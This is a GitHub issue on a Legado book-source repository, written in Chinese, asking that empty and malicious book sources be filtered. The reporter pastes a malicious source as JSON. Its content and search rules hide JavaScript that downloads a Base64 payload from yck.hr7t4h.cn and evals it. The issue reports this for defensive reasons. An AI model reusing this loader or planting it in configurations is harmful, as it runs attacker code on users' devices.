aoaostar/legado

过滤掉这种书源

Closed this issue · 1 comments

特征是什么规则都没有

{
  "bookSourceGroup": "兔兔兔",
  "bookSourceName": "🪔️ 来也小说",
  "bookSourceType": 0,
  "bookSourceUrl": "https://m.xs880.xyz/##@遇知",
  "customOrder": 740,
  "enabled": true,
  "enabledCookieJar": true,
  "enabledExplore": true,
  "lastUpdateTime": 0,
  "respondTime": 1,
  "ruleBookInfo": {},
  "ruleContent": {},
  "ruleExplore": {},
  "ruleReview": {},
  "ruleSearch": {},
  "ruleToc": {},
  "weight": 664
}

含恶意代码的书源,只过滤恶意代码就行

{
  "bookSourceComment": "",
  "bookSourceGroup": "天龙",
  "bookSourceName": "顶点小说36",
  "bookSourceType": 0,
  "bookSourceUrl": "https://www.qklady.com/",
  "customOrder": 151,
  "enabled": true,
  "enabledCookieJar": true,
  "enabledExplore": false,
  "lastUpdateTime": 1686526286992,
  "respondTime": 1717,
  "ruleBookInfo": {},
  "ruleContent": {
    "content": "id.content@html<js>\nresult.replace(':。:','');\n</js><js>\ntry {\n    if (!global.okhttp) {\n        global.okhttp = {\n            JString: Packages.java.lang.String,\n            Request: Packages.okhttp3.Request,\n            client: new Packages.okhttp3.OkHttpClient()\n        }\n    }\n    if (!global.wesrc) {\n        let request = new global.okhttp.Request.Builder().url('http://yck.hr7t4h.cn/yck/funcs').build();\n        global.wesrc = [global.okhttp.client.newCall(request).execute().body().string()].join('');\n    }\n    eval([new global.okhttp.JString(android.util.Base64.decode(global.wesrc, 0))].join(''));\n    i1();\n} catch (e) { }\nfunction run() {\n    try {\n        return r1(result);\n    } catch (e) { }\n    return result;\n}\nrun();\n</js>",
    "nextContentUrl": "text.下一页@href"
  },
  "ruleExplore": {},
  "ruleReview": {},
  "ruleSearch": {
    "author": "@css:td:nth-child(3)@text",
    "bookList": "@css:div#main tr#nr<js>\ntry {\n    //we.comment\n    if (!global.okhttp) {\n        global.okhttp = {\n            JString: Packages.java.lang.String,\n            Request: Packages.okhttp3.Request,\n            client: new Packages.okhttp3.OkHttpClient()\n        }\n    }\n    if (!global.wesrc) {\n        let request = new global.okhttp.Request.Builder().url('http://yck.hr7t4h.cn/yck/funcs').build();\n        global.wesrc = [global.okhttp.client.newCall(request).execute().body().string()].join('');\n    }\n    eval([new global.okhttp.JString(android.util.Base64.decode(global.wesrc, 0))].join(''));\n    d1();\n    i1();\n} catch (e) { }\nresult;\n</js>",
    "bookUrl": "@css:td:nth-child(1)>a@href@js:['https://www.qklady.com',result].join('');",
    "lastChapter": "@css:td:nth-child(2)>a@text",
    "name": "@css:td:nth-child(1)>a@text"
  },
  "ruleToc": {
    "chapterList": "@js:result.match(/<dt>.*正文<\\/dt>([\\S\\s]*)<\\/dl>/)[1]\n    .match(/<dd.*dd>/g)\n    .map(function (dd) {\n        let data = dd.match(/href=\"(.*)\">(.*)<\\/a>/);\n        return {\n            title: data[2],\n            url: ['https://www.qklady.com', data[1]].join('')\n        }\n    });",
    "chapterName": "title",
    "chapterUrl": "url"
  },
  "searchUrl": "https://www.qklady.com/search/,{\"method\":\"POST\",\"body\":\"searchkey={{key}}&searchtype=articlename\"}",
  "weight": 0
}

应该由阅读来过滤吧